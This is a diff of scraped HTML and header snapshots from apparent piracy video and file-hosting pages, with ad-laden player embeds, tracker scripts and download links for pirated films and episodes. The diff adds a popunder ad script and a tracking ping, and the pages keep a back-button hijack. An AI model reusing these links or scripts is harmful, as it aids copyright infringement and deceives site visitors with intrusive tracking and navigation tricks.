midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||||
|
} else {
|
||||||
|
if(isMobile.Android()){
|
||||||
|
var player = new Playerjs({
|
||||||
|
id: 'Video948429',
|
||||||
|
subtitle: "",
|
||||||
|
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||||
|
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||||
|
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||||
|
embed: "https://fsst.online/embed/948429/",
|
||||||
|
default_quality: "360p",
|
||||||
|
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||||
|
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||||
|
} else {
|
||||||
|
if(isMobile.SmartTV()){
|
||||||
|
var player = new Playerjs({
|
||||||
|
id: 'Video948429',
|
||||||
|
subtitle: "",
|
||||||
|
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||||
|
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||||
|
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||||
|
embed: "https://fsst.online/embed/948429/",
|
||||||
|
default_quality: "360p",
|
||||||
|
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||||
|
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||||
|
} else {
|
||||||
|
var player = new Playerjs({
|
||||||
|
id: 'Video948429',
|
||||||
|
subtitle: "",
|
||||||
|
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||||
|
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||||
|
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||||
|
embed: "https://fsst.online/embed/948429/",
|
||||||
|
default_quality: "360p",
|
||||||
|
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||||
|
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
function PlayerjsEvents(event,id,info){
|
||||||
|
if(event=="vast_url"){
|
||||||
|
url = info;
|
||||||
|
}
|
||||||
|
if(event=="inited"){
|
||||||
|
console.log("inited");
|
||||||
|
console.log(Math.round(player.api("time")));
|
||||||
|
window.parent.postMessage({
|
||||||
|
event: 'inited',
|
||||||
|
time: Math.round(player.api("time")),
|
||||||
|
}, '*');
|
||||||
|
}
|
||||||
|
if(event=="vast_Impression"){
|
||||||
|
console.log("Impression");
|
||||||
|
console.log(url);
|
||||||
|
yaCounter49597111.reachGoal('vast_impression', {Ads: url.split(/\/+/)[1]});
|
||||||
|
gtag('event', 'ADS_viewed', {
|
||||||
|
'send_to': 'G-LZP7HENPSC',
|
||||||
|
'event_category': 'Video',
|
||||||
|
'event_label': '28214',
|
||||||
|
});
|
||||||
|
gtag('event', 'Vast Impression', {
|
||||||
|
'send_to': 'G-7F9RVQ2TM0',
|
||||||
|
'event_category': 'Video',
|
||||||
|
'event_label': url.split(/\/+/)[1],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if(event=="start"){
|
||||||
|
console.log("started");
|
||||||
|
console.log(Math.round(player.api("time")));
|
||||||
|
yaCounter49597111.reachGoal('play');
|
||||||
|
gtag('event', 'Video_played', {
|
||||||
|
'send_to': 'G-LZP7HENPSC',
|
||||||
|
'event_category': 'Video',
|
||||||
|
'event_label': '28214',
|
||||||
|
});
|
||||||
|
gtag('event', 'Play', {
|
||||||
|
'send_to': 'G-SZ2D21EHGZ',
|
||||||
|
'event_category': 'Video',
|
||||||
|
'event_label': 'Play',
|
||||||
|
});
|
||||||
|
window.parent.postMessage({
|
||||||
|
event: 'started',
|
||||||
|
time: Math.round(player.api("time")),
|
||||||
|
}, '*');
|
||||||
|
}
|
||||||
|
if(event=="pause"){
|
||||||
|
console.log("paused");
|
||||||
|
console.log(Math.round(player.api("time")));
|
||||||
|
window.parent.postMessage({
|
||||||
|
event: 'paused',
|
||||||
|
time: Math.round(player.api("time")),
|
||||||
|
}, '*');
|
||||||
|
}
|
||||||
|
if(event=="end"){
|
||||||
|
console.log("ended");
|
||||||
|
console.log(Math.round(player.api("time")));
|
||||||
|
window.parent.postMessage({
|
||||||
|
event: 'ended',
|
||||||
|
time: Math.round(player.api("time")),
|
||||||
|
}, '*');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<!-- Yandex.Metrika counter -->
|
||||||
|
<script type="text/javascript" >
|
||||||
|
(function (d, w, c) {
|
||||||
|
(w[c] = w[c] || []).push(function() {
|
||||||
|
try {
|
||||||
|
w.yaCounter49597111 = new Ya.Metrika2({
|
||||||
|
id:49597111,
|
||||||
|
clickmap:true,
|
||||||
|
trackLinks:true,
|
||||||
|
accurateTrackBounce:true
|
||||||
|
});
|
||||||
|
} catch(e) { }
|
||||||
|
});
|
||||||
|
|
||||||
|
var n = d.getElementsByTagName("script")[0],
|
||||||
|
s = d.createElement("script"),
|
||||||
|
f = function () { n.parentNode.insertBefore(s, n); };
|
||||||
|
s.type = "text/javascript";
|
||||||
|
s.async = true;
|
||||||
|
s.src = "https://cdn.jsdelivr.net/npm/yandex-metrica-watch/tag.js";
|
||||||
|
|
||||||
|
if (w.opera == "[object Opera]") {
|
||||||
|
d.addEventListener("DOMContentLoaded", f, false);
|
||||||
|
} else { f(); }
|
||||||
|
})(document, window, "yandex_metrika_callbacks2");
|
||||||
|
</script>
|
||||||
|
<noscript><div><img src="https://mc.yandex.ru/watch/49597111" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
|
||||||
|
<!-- /Yandex.Metrika counter -->
|
||||||
|
<!-- https://fsst.online/embed/948429/ -->
|
||||||
|
<!-- 2 -->
|
||||||
|
<!-- -->
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"attachment; filename=\"Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv\"","content-length":"3386258053","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:06 GMT","last-modified":"Sun, 18 May 2025 10:50:26 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"inline; filename=\"Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv\"","content-length":"5733546178","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:05 GMT","last-modified":"Sun, 25 May 2025 11:45:11 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
Fetcher error: 403: Forbidden
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
Fetcher error: 403: Forbidden
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
{"accept-ranges":"bytes","cache-control":"public, max-age=604800","cf-ray":"980058374e5337d8-FRA","connection":"close","content-disposition":"attachment; filename*=UTF-8''Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv","content-language":"S-B0t","content-length":"3386258051","content-type":"application/octet-stream","date":"Tue, 16 Sep 2025 12:25:06 GMT","etag":"\"26f5e98cf3cc3ef929a660fbf44fe115-404\"","last-modified":"Sun, 18 May 2025 11:02:51 GMT","server":"cloudflare","vary":"Accept-Encoding"}
|
|
||||||
|
|
@ -1,4 +1,11 @@
|
||||||
<script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
|
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
aclib.runPop({
|
||||||
|
zoneId: '10553222',
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||||
<script>
|
<script>
|
||||||
document.addEventListener("DOMContentLoaded", function() {
|
document.addEventListener("DOMContentLoaded", function() {
|
||||||
history.pushState(null, null, location.href);
|
history.pushState(null, null, location.href);
|
||||||
|
|
@ -12,8 +19,7 @@ document.addEventListener("DOMContentLoaded", function() {
|
||||||
<head>
|
<head>
|
||||||
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
|
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
<meta name="referrer" content="no-referrer"/>
|
||||||
<meta name="referrer" content="no-referrer">
|
|
||||||
|
|
||||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||||
|
|
||||||
|
|
@ -130,10 +136,11 @@ document.addEventListener("DOMContentLoaded", function() {
|
||||||
color: #000
|
color: #000
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
<body><center>
|
<body>
|
||||||
|
<center>
|
||||||
<br/>
|
<br/>
|
||||||
<div class="header">
|
<div class="header">
|
||||||
HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="container">
|
<div class="container">
|
||||||
|
|
@ -160,7 +167,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<p class="h3 text-success">Download Link Generated</p>
|
<p class="h3 text-success">Download Link Generated</p>
|
||||||
<div class="input-group mb-3">
|
<div class="input-group mb-3">
|
||||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/bffzqlpqfllfcld" readonly="" id="ilink">
|
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/bffzqlpqfllfcld" readonly="" id="ilink">
|
||||||
<div class="input-group-prepend">
|
<div class="input-group-prepend">
|
||||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
@ -176,8 +183,6 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<div class="ad-container"></div>
|
<div class="ad-container"></div>
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -187,10 +192,19 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<a href="https://hub.oreao-cdn.buzz/e35ec4a9a4efb5a154d0d10f9481dafc?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||||
|
<script>
|
||||||
|
const fsl = document.getElementById('fsl');
|
||||||
|
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://pixel.hubcdn.fans/?id=21492bc915e609dd058e14bb1731d738ecbabde075e6a57924162ee17ab2dba6af0b2d315bfff2e113a3726863be50a0c9f92cc3470ad452f0c3223d49e7798f489e32a7a439e049a23b6750a49eb3f8acb834067ea5a1c7e0633b4425202ed5::b78919f2dc0c38d42c4c5147b3d4702c" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
<a href="https://pixel.hubcdn.fans/?id=5c7253dc7782ea14f891ed9f4c4d7f7ee43284d5e72e6ff401de6f1906046db7713b6d892a040a4b3dd31c9f47eee611a17924f224fc27dd70a921d4e9025c6b7d8b937e11b44e737bd4d5cfd203e361f77a8496dd75025ad8ce3e200905ef3f::853f8b4709e1acb8413ec14270adf205" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||||
|
|
||||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||||
|
|
@ -202,18 +216,16 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
|
||||||
<script>
|
|
||||||
const fsl = document.getElementById('fsl');
|
<a href="https://hidden-boat-e87c.hivegic619569.workers.dev/1397962425/53eaea70751039409adff7a1b54377f9aa8e590cd610a6452c849a7cbd2e40af66e667588bada714c63a9cf5360712f266b304e379bfde1d12c46aa2ccedf6eb::6170837909b2ffc3fc7f892bc959bd7e/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv" download="Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PDL Server]</a>
|
||||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
<script>
|
||||||
</script>
|
fetch('https://ping.rojgaartakkar.com/bmRFb0YweUVYZ1QvZys0OTRsNk53T2JMRG13QWRxYW5YcWYxYzNHYjhHZz0=');
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<a href="https://ddl2.cloudserver-1692958104.workers.dev/1397313204/a4d4a721744a9dfdbd8be7b27715738bbb80ca367d65277316db36bb584c0fbfe3c21108b9a243111ed7eec085a9d572ce5f7d7271507154b4d3d931114c3f8e4c2dce9cbb597557590a24a7083f463ed7369f491e73d260277b2545e1f6b9089f2467f185ac470832ea2089e27a5855e4204f396724eb836021b0a21b51bc5759b14c22bf8c0ca66f7680e0a44ff80bb09c20c28e93f2fdba3bd25769584e94ea466fca0aadafc2bdb59a70b319e25270e8502d4fb228d8c46c5a7d4f2af9c0::0f8e872aeeee57459e410e73b6e84d79/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
|
||||||
<p style="
|
|
||||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -237,7 +249,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
if(isAndroid()){
|
if(isAndroid()){
|
||||||
android_launch.classList.remove("d-none");
|
android_launch.classList.remove("d-none");
|
||||||
android_launch.addEventListener('click', ()=>{
|
android_launch.addEventListener('click', ()=>{
|
||||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506',scheme: 'https',type: 'video/x-matrosk',
|
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://hub.oreao-cdn.buzz/e35ec4a9a4efb5a154d0d10f9481dafc?token=1774428754',scheme: 'https',type: 'video/x-matrosk',
|
||||||
});anchor.click();
|
});anchor.click();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
@ -274,7 +286,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="card">
|
<div class="card">
|
||||||
<div class="card-body" id="div1">
|
<div class="card-body" id="div1">
|
||||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/bffzqlpqfllfcld</p>
|
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/bffzqlpqfllfcld</p>
|
||||||
</div>
|
</div>
|
||||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||||
<script>
|
<script>
|
